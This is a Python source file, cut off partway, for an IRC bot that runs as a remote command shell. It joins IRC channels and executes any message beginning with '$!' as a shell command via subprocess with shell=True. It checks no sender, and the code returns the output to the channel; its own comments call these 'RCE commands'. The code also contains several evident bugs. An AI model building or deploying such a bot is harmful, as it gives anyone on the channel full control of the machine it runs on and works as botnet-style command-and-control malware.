#!/usr/bin/env python3 import os import socket import signal import threading import subprocess import re import time import queue import config class Server(): # Setup the IRC related things such as user details and prefixes # This function also sets up the threading events and queues def __init__(self, realname, nickname, channels, command_prefix = "$!", bot_prefix = "$$", opper_nicknames = []): print(f"[SERVER/MAINTHREAD] Using Server() on Python3 PID {os.getpid()}") self.realname = realname self.nickname = nickname self.channels = channels self.opper_nicknames = opper_nicknames # Prefix for commands to execute self.command_prefix = command_prefix # Prefix for internal commands self.bot_prefix = bot_prefix # Used to signal threads to shutdown self._going_down = threading.Event() # Queue used for messages to send self._msg_q = queue.Queue() # Rate limiting variables # Used so it can be quired by IRC self._msg_time = 0 self._msg_count = 0 print(f"[SERVER/MAINTHREAD] Using nickname {nickname}!") # This function handles the socket bring up # Sets socket paramaters, and starts the send/recv threads def connect(self, ip, port, sock_timeout = 60, sock_sendbuf = 512, sock_recvbuf = 512): print(f"[SERVER/MAINTHREAD] Connecting to {ip}:{port}") self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print(f"[SERVER/MAINTHREAD] Using socket timeout of {sock_timeout} seconds!") self.sock.settimeout(sock_sendbuf) print(f"[SERVER/MAINTHREAD] Using socket send/recv buffer of {sock_sendbuf}/{sock_recvbuf}!") self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, sock_sendbuf) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, sock_recvbuf) print("[SERVER/MAINTHREAD] Starting send thread!") self._send_thread = threading.Thread(target = self._send_loop, args = (ip,)) self._send_thread.start() print("[SERVER/MAINTHREAD] Starting recieve thread!") self._recv_thread = threading.Thread(target = self._recv_loop, args = (ip, port)) self._recv_thread.start() # Gracefully shuts the server down def die(self, msg = "Python3 Server() outta here!"): print("[SERVER/MAINTHREAD] Sending PART and QUIT") # Part all of our channels with a cool message, then quit self._msg_q.put(f"PART {self.channel} : {msg}\r\n".encode()) self._msg_q.put(f"QUIT : {msg}\r\n".encode()) print("[SERVER/MAINTHREAD] Signaling threads to quit!") # Signal threads to quit self._going_down.set() # Function used to send messages from the queue # Rate limiting is also implemented here def _send_loop(self, ip): while not self._going_down.is_set(): self._msg_count+=1 self._msg_time = (0.15 * self._msg_count)**2 print(f"[SENDTHREAD] Sleeping for {self._msg_time} seconds on message count {self._msg_count}") time.sleep(self._msg_time) if self._msg_count == 10: self._msg_count = 0 # Grab message and send it try: msg = self._msg_q.get(timeout = 60) except queue.Empty: # So the thread signaler works print("[SENDTHREAD] Timeout occurred waiting on queue... sending ping!") self.sock.send(f"PING :{ip}\r\n".encode()) print(f"[SENDTHREAD] Sending message: {msg}") try: self.sock.send(msg) except BrokenPipeError: # Can't use die because we have no connection... just quit I suppose self._going_down.set() print("[SENDTHREAD] Quitting due to thread condition!") # This is the function used to process messages from the server # This is where we actually connect to the IRC server def _recv_loop(self, ip, port): # Connect to server self.sock.connect((ip, port)) # Send user reg self._send_userreg() # Grab receieve buffer size bufsize = self.sock.getsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF) # Enter main loop while not self._going_down.is_set(): # Grab IRC data and decode text try: data = self.sock.recv(bufsize) data = data.decode("utf-8") except UnicodeDecodeError: print("[RECVTHREAD] Error decoding message as utf-8!") print("[RECVTHREAD] Message: {data}") continue except socket.timeout: # Instead of using another thread, I just use a socket timeout to send pings # Kills two birds with one stone as we can't wait forever due to threading Events print("[RECVTHREAD] Timeout occurred waiting on server messages... sending ping!") self.sock.send(f"PING :{ip}\r\n".encode()) continue # Handle IRC messages ircmsgs = data.split("\r\n") for msg in ircmsgs: parsed_msg = self._parse_message(msg) # Ignore blank messages if parsed_msg: self._handle_message(parsed_msg) # Bye bye main loop if self._going_down.is_set(): print("[RECVTHREAD] Quitting due to thread condition!") # This function sends the user details to the IRC server # This isn't in the recv thread as we need to run it twice # if the nick is in use. def _send_userreg(self): self._msg_q.put(f"USER {self.realname} * * :{self.nickname}\r\n".encode()) self._msg_q.put(f"NICK {self.nickname}\r\n".encode()) for channel in self.channels: print(f"[RECVTHREAD] Joining channel {channel}!") self._msg_q.put(f"JOIN {channel}\r\n".encode()) # Used to strip ASCII control characters (such as terminal escape codes) # from text. Mainly to avoid unknown command errors from the IRC server. def _strip_control_chars(self, text): control_char_re = r"[\x00-\x1F\x7F]" return re.sub(control_char_re, "*", text) # This is where the message parsing actually happens def _parse_message(self, msg): # Set optional values to None to avoid UnboundLocalError's prefix = None trailing = None # Strip newlines from message msg = msg.rstrip("\r\n") # Ignore empty messages if not msg: return # Extract message prefix if there is one if msg.startswith(":"): # Find the first space to split the prefix prefix_end = msg.find(" ") if prefix_end == -1: # Huh? return # Split out the prefix prefix = msg[1:prefix_end] msg = msg[prefix_end + 1:] # Extract any trailing parameters trailing_idx = msg.find(" :") if trailing_idx != -1: trailing = msg[trailing_idx + 2:] msg = msg[:trailing_idx] # Extract the command and regular parameters parts = msg.split() if not parts: # Huh? return None command = parts[0].upper() params = parts[1:] # Add trailing parameter to params list if trailing: params.append(trailing) # Extract possible user info from prefix if command == "PRIVMSG": message_source = prefix.partition("!")[0] # Technically the target is ourselfs, but I change it to be the other user # so other parts of the script can easily use it to know where to send output. if params[0] == self.nickname: target_channel = message_source else: target_channel = params[0] else: message_source = None target_channel = None return { "prefix": prefix, "command": command, "params": params, "message_source": message_source, "target_channel": target_channel } # This is where we handle messages that need to be # Most of them can safely be ignored. def _handle_message(self, msg): debug_msg = self._strip_control_chars(f"[RECVTHREAD] Got message from server! Message: {msg}") print(debug_msg) # Handle PRIVMSG if msg["command"] == "PRIVMSG": # Check for command prefix and run it if we got one if msg["params"][-1].startswith(self.command_prefix): # Strip command prefix and spaces if any from input cmd = msg["params"][-1].strip(self.command_prefix) cmd = cmd.strip(" ") # Ignore blank commands if not cmd: return # Run CMDTHREAD threading.Thread(target = self._handle_command, args = (cmd, msg["target_channel"], )).start() # Check for bot prefix if msg["params"][-1].startswith(self.bot_prefix): # Send message queue size if "sendq" in msg["params"][-1]: self._msg_q.put(f"PRIVMSG {msg['target_channel']} :Send Queue Size: {self._msg_q.qsize()}\r\n".encode()) # Send main PID if "pid" in msg["params"][-1]: self._msg_q.put(f"PRIVMSG {msg['target_channel']} :Bot PID: {os.getpid()}\r\n".encode()) # Kill server if "die" in msg["params"][-1]: self.die() raise SystemExit(0) # Send flooding statistics if "floodstats" in msg["params"][-1]: self._msg_q.put(f"PRIVMSG {msg['target_channel']} :Sleep Time: {self._msg_time}\r\n".encode()) self._msg_q.put(f"PRIVMSG {msg['target_channel']} :Message Count: {self._msg_count}\r\n".encode()) # Handle nickname already in use by appending the PID # and resending user reg if msg["command"] == "433": self.nickname = f"{self.nickname}-{os.getpid()}" print(f"[RECVTHREAD] Nickname already in use! Using: {self.nickname}") self._send_userreg() # Allow users to add bots to channel, but only if it's me if msg["command"] == "INVITE": if msg.source_user in self.opper_nicknames: print(f"[RECVTHREAD] Joining channel by opper command from {msg['source_user']}!") self._msg_q.put(f"JOIN {msg['params'][-1]}\r\n".encode()) # This is where we actually run the RCE commands and pipe the output # back to IRC. # # No temp files here def _handle_command(self, cmd, target_channel): print(f"[CMDTHREAD] Running CMD {cmd}!") proc = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, stdin = subprocess.DEVNULL, start_new_session=True, text=False) # Calculate maximum message size # 512 bytes is max IRC message with